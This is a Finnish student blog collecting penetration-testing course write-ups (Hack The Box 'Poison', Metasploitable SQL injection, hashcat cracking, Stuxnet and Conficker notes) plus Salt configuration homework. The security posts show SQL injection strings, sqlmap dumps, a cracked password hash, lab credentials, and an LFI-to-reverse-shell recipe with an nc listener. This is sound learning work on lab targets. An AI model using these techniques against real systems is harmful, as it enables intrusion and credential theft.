Jaetut tiedostot ovat allekirjoitettuja. Kansiossa pidetään enintään 64 tiedostoa kerrallaan, jos tämä ylittyy, poistetaan tiedostot joiden käytöstä on eniten aikaa.

Conficker.C yrittää ottaa yhteyden kotiin kerran päivässä. Vaihtoehtoisia domaineja on 50 000 per päivä, joista se valitsee satunnaisesti 500. Jokaista koitetaan yhden kerran päivässä 10-50 sekunnin välein. C variantti toimii hitaammin kuin B variantti, minkä voisi luulla parantavan madon huomaamattomuutta.

  1. Etsi Krebsin tai Schneierin blogeista ideoita pentestiin. Näissä blogeissa on paljon turvallisuuteen liittyviä aiheita, tee erityisesti huomioita tunkeutumistestaukseen liittyen.

https://www.schneier.com/essays/archives/2018/01/the_new_way_your_com.html

Bruce Schneierin essee puhuu vuoden alussa paljastuneista Spectre ja Meltdown haavoittuvuuksista. Molemmat haavoittuvuudet liittyvät siihen, miten prosessorit pyrkivät ennakoimaan tulevia tehtäviä. Essee kertoo, että siinä missä Meltdown voidaan korjata asentamalla päivitys, Spectre sen sijaan on mahdoton korjata muuttamatta prosessorien rakennetta.

Uutena mahdollisuutena hyökkääjille tulee siis laitteiden fyysiset viat. Spectre korjaantuu vasta, kun haavoittuvat laitteet vaihdetaan uusiin. Tämä toisaalta nostaa hyökkäyksien taitokynnystä, mutta joku tämänkin ongelman ratkaisee. Näiden kahden osalta on toistaiseksi ollut onni, että hyökkäys on huomattavasti helpompaa tehdä, kun koneeseen on paikallinen pääsy. Tästä huolimatta, muutamasta paikallisverkon yli tehdystä NetSpectre hyökkäyksestä on todisteita. https://gbhackers.com/netspectre/

https://blog.f-secure.com/cold-boot-attacks/

Tämän ongelman olen oikeastaan tiennyt aiemminkin, mutta F-Securelta on äskettäin tullut kunnollinen postaus asiasta.

Eli ideana on siis, että tietokoneen salaus saadaan purettua, jos tietokone sammuu jotenkin huonosti, kuten esimerkiksi lepotilassa. Tietokoneen sammuessa, tietokoneen muistista voidaan hyvin lyhyen ajan lukea siellä olevaa tietoa. Tätä varten on olemassa erilaisia ohjelmia, joita ajetaan muistitikulta. Hyökkäystä vastaan on kehitetty joitakin tapoja, kuten RAM muistin ylikirjoitus aina, kun tietokone käynnistyy.

Nyt uutena asiana tämänkin pystyy ohittamaan juotostöillä. Eli jos yritykseltä katoaa työläppäri, yrityksen täytyy lähes satavarmasti olettaa, että tietokone saadaan auki ja sisältö esiin.

Haittana on, että tämä tietenkin vaatii fyysistä pääsyä ja aikaa, joten tätä ei voi oikein hyödyntää ilman, että kone on saatu ulos salaiseen paikkaan.

  1. Opettele ja testaa jokin uusi Pentesting-tekniikka kirjasta tai videosta, jonka löydät Safarionlinesta.

https://www.safaribooksonline.com/library/view/penetration-testing-and/1587052083/ch09.html

Kirjassa on kappale salasanoista, hashaamisesta ja niiden murtamisesta. Tästä tulikin mieleen, että aikaisemmalta tunnilta jäi kesken hashcattiin tutustuminen, ja jurpo5 käyttäjän salasana jäi murtamatta.

Siispä yritetään murtaa salasana hashcatilla. Käytetään aikaisemmalla tunnilla talteen otettua jurpo5 käyttäjän hashia:

$6$xIgqlO2H$KO96dDS5ovHSkp2p2AB2QbjFYU2B27Te23pSGa/PF6uMiasB//2UMP27Ih4tuizE8J3nsbYjjNc8aV1nPVdKd/

Selasin Roopen kanssa listoja läpi ja lisäilimme sinne muutamia sanoja ja variaatioita mitä tuli mieleen.

Hashcat ajetaan komennolla

$ hashcat -m 1800 -o haxd.txt hash.txt finnish-unknown.txt

-m on salausmenetelmä, 1800 vastaa Linuxin käyttämää.

-o output tiedoston nimi

hash.txt sijaitsee testikoneelta jurpo5 käyttäjän hashin

finnish-unknown.txt on netistä haettu lista johon lisätty muutamia.

Hetken kuluttua paljastui, että salasana oli autotalli.

Posted in Uncategorised | Leave a comment

Tunkeutumistestaus – h4

Tunkeutumistestaus

http://terokarvinen.com/2018/penetration-testing-course-autumn-2018

Teen virtuaalikoneella, johon on asennettu Kali 2018-2.

Harjoitusympäristönä käytetään Hacktheboxin verkkoa.

https://www.hackthebox.eu/home/rules

h4

1. Korkkaa Poison. Jos et pääse root shelliin asti, kuvaile, mihin pääsit ja mitä johtolankoja jäi tutkimatta.

Koska kyse on Hacktheboxin ”eläköityneestä” koneesta, ei teksti ole salasanan takana.

Aikaisemmalla tunnilla saatiin kaivettua toimiva käyttäjätunnus ja salasana, Charix – Charix!2#4%6&8(0.

Nämä saatiin kaivettua 10.10.10.84 sivun php testauksesta pwdbackup.txt tiedostosta. Salattu merkkijono pitää purkaa 13 kertaa base64 salauksella. Käyttäjänimen löysimme puhtaasti arvailemalla, mutta jälkikäteen selvisi, että sen olisi saanut myös php testauksen kautta, /etc/passwd.

Tutkitaan, josko koneelta löytyisi jotain mielenkiintoista, mitä kautta pääsisimme kiinni roottiin.

/bin kansiosta löytyy muutama erikoinen ohjelma, test ja [. Tekstieditorilla avaaminen ei paljasta lisää tietoja. Test komento ei tunnu tekevän mitään, mutta se ei myöskään heitä virheitä. Luultavasti siis test vaatii jotain muuta toimiakseen. Joka tapauksessa, en näytä saavan siitä mitään irti ainakaan tässä vaiheessa. [ sen puolestaan  onkin mielenkiintoisempi, kun annetaan komentokehotteeseen komento

% [ , joka tulostaa tekstin [: missing ]. Tässä vaiheessa tuli mieleen kokeilla, mitä [ manuaali sanoo. Pettymyksekseni manuaalista selviää, että molemmat test ja [ ovat jonkinlaisia arvojen testaus ohjelmia, mutta en ole tästä lainkaan varma. Joka tapauksessa, en todennäköisesti tee näillä ohjelmilla mitään.

Topilla kun selataan prosesseja, listasta löytyy muutama prosessi, jotka eivät ole minulle tuttuja, Xvnc, csh ja twm. Näistä Xvnc ja twm pyöri rootin kautta. Xvnc lienee jokin versio VNC etätyöpöytäohjelmasta. Googlauksen perusteella myös twm työpöytään, joten on ilmeistä, että koneella on graafinen työpöytä. Laitetaan talteen myöhempää varten.

/etc kansiosta löytyy kiinnostavana tiedostona pwd.db ja X11. X11 vahvistaa aiempaa luuloa, että koneella on käytössä graafinen työpöytä.

Pwd.db paljastaa tekstieditorin kautta satunnaisia kiinnostavia sanoja, jotka saattaisi ehkä olla salasanoja, otetaan talteen seuraavat: root, toor, Bourne-again, Superuser.

Charixin kotikansiosta löytyy Secret.zip tiedosto, jonka kopioin virtuaalikoneelle ja purettuani avasin nanolla, ruutuun ilmestyy vain pari kummallista merkkiä, mutta se vaikuttaa muuten tyhjältä. En osaa sanoa tässä vaiheessa mikä merkitys tiedostolla on.

Seuraavaksi katsotaan, josko pääsemme katsomaan portit läpi sisältäpäin. Joudun konsultoimaan apua FreeBSDn kohdalla:

https://www.cyberciti.biz/tips/freebsd-lists-open-internet-unix-domain-sockets.html

Eli komennolla

% sockstat -4 -l

saamme näkyviin avoimet IPv4 socketit. Eli näemme, mitkä prosessit lähettävät ja vastaanottavat yhteyksiä ulkopuolelta.

Kiinnostavilta näyttävät rootin Xvnc yhteydet porteista 5901 ja 5801. Vnc sessio portissa 5901 tarkoittaa sitä, että siihen voisi luultavasti kuka vain yhdistää ja päästä käsiksi rootin konsoliin.

Xvnc vaikuttaa tässä vaiheessa hyvin epäilyttävältä, sillä olen joskus kuullut paljon juttua siitä, miten huonosti Vnc toimii ainakin Windowsilla tietoturvansa puolesta. Kalista löytyy valmiiksi xtightvncviewer, mutta kaikki yhteydet jäävät palomuuriin kiinni. Tässä vaiheessa Roope vinkkasi SSH tunnelingista, jota lähdin selvittelemään.

https://roopelinux.wordpress.com/

https://www.cl.cam.ac.uk/research/dtg/attarchive/vnc/sshvnc.html

https://community.time4vps.eu/discussion/120/how-to-connect-to-vnc-server-ussing-ssh-tunnel

Komennolla

$ ssh -L 5902:localhost:5902 -N -f -l charix 10.10.10.84

-N määrittelee, että ei tehdä mitään muuta kuin forwardataan portti

-l täsmentää, että kirjaudutaan charix käyttäjällä

-f määrittelee, että ssh menee taustalle heti yhteyden muodostamisen jälkeen. Tällöin samasta ikkunasta voidaan jatkaa tekemisiä.

Luodaan tunneli Vnclle, jota yhdistämisen jälkeen kuunnellaan:

$ vncviewer localhost:5902

Näin saimme charixin työpöydän näkyviin.

Roope vinkkasi, että oli itse selvittänyt ongelman selaamalla VNC:n manuaaleja, jotenka:

https://www.freebsd.org/cgi/man.cgi?query=Xvnc&sektion=1&apropos=0&manpath=FreeBSD+7.2-RELEASE+and+Ports

https://www.freebsd.org/cgi/man.cgi?query=vncviewer&sektion=1&apropos=0&manpath=FreeBSD+7.2-RELEASE+and+Ports

https://www.freebsd.org/cgi/man.cgi?query=Xvnc&sektion=1&apropos=0&manpath=FreeBSD+7.2-RELEASE+and+Ports

VNC manuaaleja selattuani luulen, että charixin kotikansiossa oleva secret.zip sisältää vnc avaimen, millä päästään yhdistämään rootin valmiiksi auki olevaan istuntoon portissa 5901.

Siispä avataan SSH tunneli 10.10.10.84 porttiin 5901, jossa rootilla on VNC server auki:

$ ssh -L 5904:localhost:5901 -N -f -l charix 10.10.10.84

Kun portti on avattu, yhdistetään käyttämällä secret avainta:

$ vncviewer -passwd secret localhost:5904

ja sisällä ollaan roottina.

Ongelmia tuotti selkeästi tuo SSH tunnelien käyttö. Kun oivalsi niiden toiminnan, homma selkeytyi huomattavasti. Tiedonkeruussa paljastui jonkun verran kiinnostavia asioita, kuten ohjelmat ja test, joista ei kuitenkaan ilmeisesti ole apua tässä harjoituksessa. Lisäksi pwd.db jäi tutkimatta tarkemmin. Nyt jälkikäteen SQLite ei osannut sitä avata, joten ensiksi pitäisi selvittää, minkälainen tiedosto se on.

 

  1. CTF walkthrough. Katso Youtubesta jokin CTF walkthrough. Mitä opit, mitä ideoita sait?

https://www.youtube.com/watch?v=rs4zEwONzzk – HTB Poison, katsottu roottaamisen jälkeen

https://www.youtube.com/watch?v=82S8wFSypB4 – Vulnhub – Basic Pentesting 1

https://www.youtube.com/watch?v=uxx44x8ar3E – Vulnhub – Blackmarket

https://www.youtube.com/watch?v=pRcrSSiF_7w – Vulnhub – Mr. Robot

Kokeillaan PHPInfo File Inclusion exploittia skriptin kautta, hakemalla skriptin pohja täältä:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion%20-%20Path%20Traversal/phpinfolfi.py

Skriptin muokkauksia on vaikea kuvailla tarkkaan tekstinä, on huomattavasti helpompaa katsoa HTB Poison videolta n. 13-15 minuutin kohdalta, mitä videon tekijä tekee.

Payload kenttä tyhjennetään, ja lisätään siihen väliin oma payload skripti:

 /usr/share/laudanum/php/php-reverse-shell.php. 

Huom, tiedostopolun kopiointi ei riitä, koko .php tiedoston sisältö täytyy kopioida Payload kentän jättämään tyhjiöön.

Vaihdetaan videon mukaan portiksi ja ip-osoitteksi oma, mihin shell avataan.

Korjataan myös skriptin käyttämät polut videon mukaan, browse.php?file=%s, LFIREQ:

Korjataan tmp_name kaikissa kohdissa, missä valmiina =>, oikea muoto on =&gt

Ennen skriptin ajoa kuunnellaan porttia, johon shell tulee:

$ nc -lvnp 9001

Skripti ajetaan lopuksi komennolla

$ python lfi.py 10.10.10.84 80 100

jossa 80 on portti, ja 100 liittyy jotenkin nopeaan kutsujen lähettämiseen (threads).

Skripti avaa shellin www käyttäjänä, joten ihan kaikkea tästä asemasta ei pysty tekemään. Mutta sisällä ollaan kuitenkin.

Kokeillaan seuraavaksi dirsearchia, joka löytyy osoitteesta

https://github.com/maurosoria/dirsearch

Annetaan komento

$ python3 dirsearch.py -u 10.10.10.84 -e php,html,txt -t 100

Haku on aika paljon nopeampi kuin dirbusterilla, mutta luultavasti siksi, että tämä ei hae läheskään niin laajalla sanavarastolla. Ehkä tälle on omat käyttönsä ensimmäisinä työkaluina, joita sivuilla kokeillaan.

Skriptin readmesta selviää lipuista valitettavan vähän tietoa, mutta ilmeisesti -e rajaa sanakirjat.

10.10.10.84/index.php/login/ johtaa samaan osoitteeseen kuin 10.10.10.84/index.php, mutta ehkä tuonne saisi heitettyä jotain kirjautumisyrityksiä.

Lopuksi pyöräytän wpscanin omalle WordPress sivulleni

$ wpscan --url https://miikkavaltonen.com

Ohjelma  kysyi ensimmäisellä kerralla tietokannan päivittämisestä, vastasin tähän Y, kyllä.

Skanneri osasi selvittää käyttäjän ja versioita eri asioista:

En tätä harjoitusta varten viitsinyt paukutella kirjautumisyrityksiä tai jotain muuta hämärää, sen takia, että tiedän salasanan olevan niin monimutkainen, että sitä ei sanalistoilla arvata. Lisäksi en halua rikkoa blogiani.

Mainittakoon, että Digital Ocean ainakin suhtautuu oman palvelimen skannailuun ja muuhun pentestingiin suht lämpimästi. Ilmoitin asiasta asiakaspalveluun, ja vastaus oli tyyliin “Hieno homma, tässä lisää asioita mitä voit kokeilla.”.

Kaikista walkthrough videoista vahvimpana mieleen jäi se, kuinka paljon erilaisia työkaluja ja tapoja on. Poisonin walkthrough oli erittäin mielenkiintoinen, koska siinä päästiin www käyttäjällä sisään ihan eri tavalla, kuin mitä olisin osannut kuvitella. Tuntuu, että opetellessa asioita on hyvä kerätä kaikki vastaantulleet tai kerran käytetyt skriptit talteen,  jotta työkalupakki kasvaa hiljalleen jatkuvasti.

Voin kuvitella, että jatkossa eri skriptejä ja työkaluja joutuu muuttamaan ja vähän viilailemaan, jotta ne saadaan toimimaan oikein.

Se mitä tästä jäi käteen, on että työkaluja on vähintäänkin yhtä paljon kun tekijöitä. Tällaiset walkthrought ovat hyviä ihan vain senkin takia, että niistä näkee uusia työkaluja ja käyttötapoja.

 

  1. Stuxnet, Lue artikkeli Stuxnetista, esim. Symantec tai Langer. Voit hakea ‘stuxnet analysis’. 1) Miten Stuxnet murtautui koneille? Yleisluontoinen vastaus (mikä hyökkäys millekin käyttöjärjestelmälle mihin komponenttiin) riittää, koska nämä hyökkäykset ovat jo vanhentuneet. 2) Miten ohjaus (command and control, C2) toimi? 3) Miten Stuxnet ylitti ilmaraon (air gap)?

https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf

Alkuperäinen Stuxnet pääsi kosketuksiin ensimmäiseen verkkoon luultavasti USB-tikun tai agentin kautta. Ensimmäisen injektion kohde riippui siitä, mikä virustorjuntaohjelmisto koneessa oli asennettuna. Lähes jokaisessa tapauksessa se oli Lsass.exe, mutta Kaspersky 8-9 ja Trend PC Cillinin kohdalla Stuxnet injektoi itsensä suoraan virustorjuntaohjelmiston prosessiin.

Stuxnet hankkii pääkäyttäjän oikeudet Win32k.sys prosessin kautta, MSI10-073. Kun oikeudet on saatu, Stuxnet jättää oman ajurin tietokoneelle, jotta Stuxnet aktivoituu jo käynnistyessä.

Stuxnetin ohjaus toimi kahden palvelimen kautta, www.mypremierfutbol.com ja www.todaysfutbol.com.

Stuxnet pystyy vaihtamaan ohjauspalvelimia lennosta, mutta näin ei ole viimeisten tietojen mukaan tapahtunut missään vaiheessa. Ohjelma lähettää palvelimille tietoa käyttöjärjestelmästä, payload osan koon ilmeisesti sen takia, että voidaan varmistua ohjelman leviämisestä, tietokoneen ja toimialueen nimen, tietokoneen ip-osoitteet ja jotain konfiguraatiodataa Stuxnettiin liittyen.

Ohjelma pyrkii ohittamaan palomuurien sääntöjä muodostamalla yksinkertaisia ASCII linkkejä, joihin tietoja lähetetään.

Stuxnet levisi eteenpäi suljettuun verkkoon todennäköisesti USB-tikun kautta. Ohjelman toiminta leviämisen jälkeen on lähes täysin itsenäistä, joten muuta vaihtoehtoa ei oikein ole.

 

Posted in Uncategorised | Leave a comment

Protected: Tunkeutumistestaus – h3

This content is password protected. To view it please enter your password below:

Posted in Uncategorised | Enter your password to view comments.

Protected: Tunkeutumistestaus – h2

This content is password protected. To view it please enter your password below:

Posted in Uncategorised | Enter your password to view comments.

Tunkeutumistestaus – h1

Tunkeutumistestaus

http://terokarvinen.com/2018/penetration-testing-course-autumn-2018

http://www.hackingarticles.in/hack-metasploitable-3-using-mysql-service-exploitation/

https://resources.infosecinstitute.com/learning-pentesting-metasploitable3-part-2/#article

https://linux.die.net/man/1/nmap

https://www.thomaslaurenson.com/blog/2018/07/08/metasploitable3-pentesting-the-ubuntu-linux-version-part1/

 

Teen harjoituksen kannettavalla läppärillä, johon on asennettu Xubuntu 18.04.1

Harjoitusympäristö on luotu käyttäen Tero Karvisen ohjeita vagrantilla:

http://terokarvinen.com/2018/install-metasploitable-3-vulnerable-target-computer

 

h1

  1. Tehtävänä on kokeilla jotakin OWASP 10 hyökkäystä harjoituskoneella. Yritän ensiksi simppeliä SQL injektiota.

Alkutilanteessa haavoittuva kohde on tehty virtuaalisena ja löytyy osoitteesta localhost:8080.

Localhost:8080 osoitteesta löytyy phpmyadmin hallintapaneeli ja payroll_app.php, joten on ilmiselvää, että taustalla pyörii väkisinkin SQL palvelu.

Aloitetaan kokeilemalla eri kirjautumistunnuksia payroll_appiin. Tunnilla opittu ’ OR 1=1 ja sen variaatiot tuntuvat rikkovan kyselyn, sivu palauttaa vain tyhjän ruudun. Salasana kenttä näyttää toimivan tyhjänä, mutta testailun aikana olen kirjoitellut siihen täytetekstiä, jos kysely hajoaa sen takia.

https://www.thomaslaurenson.com/blog/2018/07/08/metasploitable3-pentesting-the-ubuntu-linux-version-part1

Lyhyen selvittelyn jälkeen selvisi, että injektio toimii, jos syötteeseen lisää # merkin loppuun. Näin sivulta saadaan ulos kaikki käyttäjät, joilla voitaisi kokeilla sisäänkirjautumista koneelle.

Periaatteessa tehtävä on tällä suoritettu. Harjoitusympäristön rakentamisessa tuli yllättävän paljon ongelmia, eri virtualisointiratkaisut eivät tuntuneet toimivan kunnolla, ja useiden tuntien jälkeen oli pakko luovuttaa. Palaan tähän tehtävään myöhemmin tutkittuani asiaa lisää. Edit: 27.8. luulen, että # toimii, koska googlailun perusteella MySQL tuntuu tulkkaavan merkin # nykyiseksi tauluksi, tai jotain sen tyylistä. Sen takia se luultavasti näyttää koko taulun.

—————————–

27.8. jatkoa

https://roopelinux.wordpress.com/2018/08/27/penetration-testing-1-owasp-10/

Keskustelin ryhmätoverin kanssa harjoituksesta, ja jaoimme hiukan vinkkejä. Olin SQL injektiossa muuten oikeassa, mutta jätin virheellisesti salasanan tyhjäksi huonoissa kohdissa, jolloin en päässyt aina sisään, vaikka olisi ”pitänyt”. Eli siis ‘ OR ” = ‘ olisi toiminut, mutta se pitää syöttää molempiin kenttiin. Muuten kysely hajoaa.

Roope on loistavasti saanut omat tehtävänsä tehtyä keskustelumme jälkeen, harjoituksen vuoksi toistan osan samoista toimista. Käytän apuna pääasiassa Roopen käyttämää opasta: https://docs.google.com/document/d/1SDbTN4BDqE5W_mpANK8v4EgZndK9tgEeTy7A_k7MQr4/edit#heading=h.3yemd5z953oq

Nyt kun olemme saaneet käyttäjistä taulun injektion kautta, kokeillaan mitä muuta voimme tehdä SQLMapilla. Koska teen harjoituksen Xubuntulla, täytyy SQLMap asentaa ensin.

$ sudo apt-get install sqlmap

Käytetään SQLMappia ohjeiden mukaisesti:

$ sqlmap -u http://xx.xx.xx.xx:8080/payroll_app.php --data=”user=admin&password=admin&s=OK”

xx.xx.xx.xx on tietokoneen, jolla vagrant kone sijaitsee,  paikallinen osoite.

Pätkän ja oikeastaan sqlmapin idea on ilmeisesti, että se hakee haavoittuvuuksia kokeilemalla jonkin stringin syöttämistä.

SQLMap löytää haavoittuvuksia. Ohjelma kysyy, että testataanko muitakin haavoittuvuuksia ’user’ parametrin löytymisen jälkeen. Vastasin näihin muutaman kerran Y.

Samoin parametri ’password’ on haavoittuva.

Injektio on helpompi toteuttaa SQLMap Shellin kautta, joten poistutaan SQLMapista (CTRL + C) ja mukautetaan aiempaa komentoa:

$ sqlmap -u http://xx.xx.xx.xx:8080/payroll_app.php --data=”user=admin&password=admin&s=OK” --sqlmap-shell

Kun shell on käynnistetty, annetaan komento –dump. –dump suorittaa saman testauksen, kuin aikasempi, mutta tällä kertaa SQLMapin omassa shellissä. Ohjelma saattaa kysellä, että testataanko lisää asioita ’user’ parametrin jälkeen. Vastasin näihin Y, kunnes ohjelma näyttää injektiomahdollisuudet, ja kysyy mikä valitaan. Opas ei kommentoi tätä vaihetta mitenkään, joten ehkä molemmat näistä vaihtoehdoista käy. Valitsin vaihtoehdon [0], Roopen blogin mukaan. Tällä ei luultavasti olisi ollut väliä, koska ohjelma väittää molempien vaihtoehtojen olevan injektiopointteja.

Homma onkin tällä näköjään selvä, SQLMap osaa tämän perusteella heittää ruutuun listan käyttäjistä ja niiden salasanoista. Kokeilun vuoksi käynnistän Metasploitable koneen Virtualboxin kautta, ja yritän kirjautua sisään jollakin näistä:

Ja hommahan lähti toimimaan. Nyt olemme siis saaneet ajettua automatisoidun SQL injektion SQLMapin kautta. Saimme kaivettua tietokannan käyttäjistä kuten aiemmin, mutta myös salasanat. Kokeilimme salasanojen toimintaa koneella, ja pääsimme kirjautumaan sisään.

———————————–

Loppuajatuksia:

 

Haastavinta harjoituksessa oli harjoitusympäristön käyttöönotto, vaikka se tuntuukin uskomattomalta. Lähdin liikkeelle niin, että yritin Windows koneella virtualisoida Xubuntun, ja taas sen sisälle tuon vagrant metasploitable boksin, mutta se ei tietenkään onnistu koska virtualisointia virtualisoinnin sisällä. Koitin monia kombinaatioita Kalin ja Xubuntun kanssa, myös oikealla läppärillä.

Useiden tuntien jälkeen lähimmäksi pääsin, kun sain vagrantin pystyyn, ja sain avattua tuon localhost:8080 onnistuneesti. Suuri osa ajasta meni sen ihmettelemiseen, kun mietin, että miten esim. nmap pääsisi skannaamaan tuon vagrant koneen portit, kun se pyörii paikallisen koneen portissa 8080. Nyt jälkikäteen, onhan se selkeää, kun ajattelee, että vagrant koneen liikenne kulkee vain tämän 8080 portin kautta. Lisäksi sotkin tähän Virtualboxin ilman vagrantia, ja sekin sekotti pakkaa. Tähän hölmöilyyn kului kuitenkin valitettavan paljon aikaa. Uskon, että tämän temppuilun jälkeen tulevat tehtävät tulevat menemään ainakin valmistelun osalta paljon helpommin, ja pääsen oikeasti asiaan huomattavasti nopeammin.

Seuraavana päivänä juttelin Roopen kanssa (blogi linkattu ylempänä) tästä, ja saimme koottua ajatuksia siten, että pystyimme molemmat jatkamaan omien ongelmiemme kanssa. Kun sain SQLMapin tutkailemaan tuota konetta, loput harjoituksesta sujui mukavasti.

Haluaisin vielä yrittää tunkea sisään jatkossa jonkun payloadin Metasploitin kautta, mutta sitä pitää tutkia myös lisää, ennen kuin lähden sekoilemaan.  Tai sitten ehkä jossain toisessa harjoituksessa.

 

Posted in Uncategorised | Leave a comment

Palvelinten hallinta – kurssityö sekä h6

Kurssityön tehtävänä oli asentaa jokin vapaasti valittava ohjelma  Saltin kautta. Valitsin aiheekseni pilvipalvelu NextCloudin asentamisen.

Ohessa linkki projektiin GitHubissa:

https://github.com/Miikkb/nextcloudwithsalt

Tässä myös video, missä esittelen lyhyesti tilan toiminnan:

c) Käyttäjäryhmä:

Moduuli sopii henkilöille, jotka haluavat testimielessä kokeilla oman pilvipalvelun asentamista. Tilaa on myös hyödyllistä käyttää tilanteissa, missä tarvitaan pikaisesti pilvipalvelutilaa, kuten esimerkiksi tilanteessa, jossa pitää siirtää tiedostoja netin välityksellä.

Lopuksi lyhyt tekstiarvostelu luokkatoverin moduulista: https://github.com/kristiansyrjanen/teamspeak3-salted, Kristian Syrjäsen TeamSpeak 3 palvelimen asennus.

Heti aluksi tilasta voi sanoa, että README.md selittää sen toiminnan ja tekoprosessin hyvin. Ei jää epäselväksi, mitä tila oikeasti tekee. Asennusprosessi etenee loogisessa järjestyksessä, ensiksi asennetaan ja konfiguroidaan asennukseen tarvittavat ohjelmat, eli siis salt-master ja salt-minion.

Ennen itse TeamSpeakin asennusta tila varmistaa, että palomuuri on asennettu, ja syöttää omat porttitietonsa hyväksyttyjen listalle. Tiedot lisätään mielenkiintoisesti .rules tiedostoina, eikä vain komentoriville syötettävinä komentoina, kuten esim. sudo ufw allow xxxx.

Kristianin tila hoitaa TeamSpeakin asennustiedostojen käsittelyn paljon järkevämmin kuin minä omassa tilassani. Erona tosin se, että itse yritin hoitaa sitäkin salt staten kautta, kun taas Kristian tekee sen bash-skriptin kautta, jolloin se näyttäisi olevan yksinkertaisempaa.

Koko prosessi näyttää tilan kautta melko vaivattomalta. Asennus on tehty helpoksi. Se on hiukka erikoista, että asennus toimii vain livetikulta, mutta ilmeisesti sitä on yritettykin korjata melkolailla.

Tila näyttäisi toimivan oikein siitä huolimatta. Kehitysmahdollisuutena tietysti se, että tilan voisi ajaa muullakin koneella kuin livetikulla.

Posted in Uncategorised | 3 Comments

Palvelinten hallinta – h5

http://terokarvinen.com/2018/aikataulu-%e2%80%93-palvelinten-hallinta-ict4tn022-4-ti-5-ke-5-loppukevat-2018-5p#h5

Tehdään viides tehtävä, tarkoituksena on valita aihe kurssityölle, julkaista MarkDownilla raportti sekä suorittaa jokin salt suoraan gitistä.

Teen harjoituksen virtuaalipalvelimellani, jossa pyörii Ubuntu 16.04.4. Muodostan hallintayhteyden SSH:lla.

a) Varasin aiheen NextCloudin asennuksen.

b) Seuraavaksi julkaistaan MarkDownilla raportti GitHubiin.

Aloitetaan tekemällä tyhjä GitHub repo.

Kun on kirjauduttu sisään, voidaan uusi repo tehdä aloitussivulta, New repository.

Harjoituksessa tein repon nimeltä Harkka, tein siitä yksityisen ja lisäsin lisenssiksi GPL v3, jotta repo ei ole täysin tyhjä.

Tehdään kotihakemistoon uusi kansio, harkka.

$ mkdir harkka && cd harkka

Jotta saadaan git tulille, ajetaan komennot:

$ git init && git add .

Nyt git hakemisto on luotu. Kirjoitetaan README tiedosto MarkDownia hyväksikäyttäen.

$ nano README.md.

Tiedosto sisältää seuraavan:

This is a README file created with MarkDown.

MarkDown is enabled automatically, when the file ends with .md.

# Hello

## Hello

### Hello

Line

*****

Line

Tehdään vielä huvinvuoksi tyhjä tekstitiedosto, jotta saadaan lisää commitattavaa.

$ touch foo.txt

Lisätään muutokset committiin, tehdään commit, ja tungetaan muutokset gittiin:

$ git add . && git commit

$ git pull && git push

Nyt kun muutokset on ajettu gittiin, yhdistetään tehty git GitHubiin.

Tämä tapahtuu seuraavasti:

$ git remote add origin https://github.com/Miikkb/Harkka

$ git remote -v

$ git push origin master

Jos kaikki on mennyt onnellisesti oikein, GitHubissa pitäisi olla luodut tiedostot:

Homma toimii, ja MarkDownilla tehty raportti näkyy READMEnä.

Seuraavaksi c):

Käytän tehtävän pohjana omaa Sirottimen kaltaista tilaa, joka on kesken ja huomattavasti pienempi.

GitHubista repo voidaan ladata komennolla:

$ git clone https://Miikkb/Miikkb

Kun repo on kloonattu, ajetaan tila ohjeiden mukaisesti:

$ sudo bash run.sh

Salt asennetaan tilan mukana jos sitä ei ole, ja salt ilmoittaakin, että 5 muutosta onnistui. Listaa selaamalla selviää, että kun on ajettu komento sudo apt update, niin app-repositoryn tiedot ovat päivittyneet.

Tila on kloonattu GitHubista ja ajettu onnistuneesti.

Posted in Uncategorised | Leave a comment

Palvelinten hallinta – h4

H4

http://terokarvinen.com/2017/multiple-virtual-computers-in-minutes-vagrant-multimachine

http://terokarvinen.com/2018/aikataulu-%e2%80%93-palvelinten-hallinta-ict4tn022-4-ti-5-ke-5-loppukevat-2018-5p#h4

Tehtävänä on tehdä kahdella orjalla esimerkki, jossa orjat saavat eri muuttujan pilarista. Tarkista ‘pillars.items’, että kummallekin orjalle mene eri tieto.

Harjoitus tehdään omalla koululäppärillä, jossa Xubuntu 16.04.4, vagrantia hyväksikäyttäen. Orjat siis tehdään vagrantin kautta virtuaalisesti. Ohjeet vagrantin käyttöönottoon löytyy Tero Karvisen sivulta http://terokarvinen.com/2017/multiple-virtual-computers-in-minutes-vagrant-multimachine.

Tehdään tehtävä niin, että tmp kansioon ilmestyy molemmalle orjalle tiedosto, mutta tiedoston sisältö on orjilla eri. c) kohta vaatii, että tilaan lisätään oletusarvo, mikäli jollekkin orjalle ei anneta omaa arvoa pilarin kautta. Tehdään kohta c) samalla, kuin b).

Aloitetaan tekemällä kansiot ja tarvittavat tiedostot:

$ sudo mkdir /srv/salt/pillartest

$ sudo nano /srv/salt/pillartest/init.sls

/tmp/pillartest.txt:
  file.managed:
    - source: salt://pillartest/pillartest.txt
    - template: jinja
    - context:
      sana: {{ pillar.get(’sana’, lintu) }}

Lintu täyttää siis oletusarvon virkaa, mutta tässä vaiheessa kaikille orjille annetaan arvo pilarin kautta, joten sitä ei pitäisi näkyä missään.

Ennen pillarien tekemistä, tehdään pillartest.txt:

$ sudo nano /srv/salt/pillartest/pillartest.txt

Sup! This file is called pillartest. Here's a test word:

sana: {{ sana }}

Tehdään seuraavaksi pillar kansio, ja sinne top.sls tiedosto:

$ sudo mkdir /srv/pillar

$ sudo nano /srv/pillar/top.sls

base:
  vagrant1
    - vagrant1
  vagrant2
    - vagrant2

Tehdään molemmille .sls tiedostot:

$ sudo nano vagrant1.sls

sana: kissa

$ sudo nano vagrant2.sls

sana: koira

Kun tiedostot ja kansiot on tehty, voimme kokeilla toimintaa komennolla:

$ sudo salt ’*’ state.apply pillartest

Ruutu täyttyy vihreästä ja sinisestä tekstistä, joten kaikki on oletettavasti mennyt nappiin. Tarkistetaan tilanne orjakoneilta:

Pillareita on siis hyödynnetty oikein, orjille on mennyt eri sana.

Tässä vaiheessa kohta b) on täytetty, c) kohdan voimme luultavasti tehdä niinkin helposti, kuin että poistamme vagrant2.sls tiedoston. Silloin orjan pitäisi käyttää oletusarvoa, joka on lintu.

Poistettuani tiedoston yritin ajaa tilan uudestaan, ja kakkosorja heittää virheviestiä, joka on seuraava:

Rendering SLS ’base:pillartest’ failed: Jinja variable ’lintu’ is undefined

Koska ainoastaan kakkosorja heittää virhettä, se luultavasti johtuu siitä, että oletusarvoa ei jostain syystä lueta oikein. Luonnollisesti tiedostoissa ei ole tapahtunut mitään muutosta.

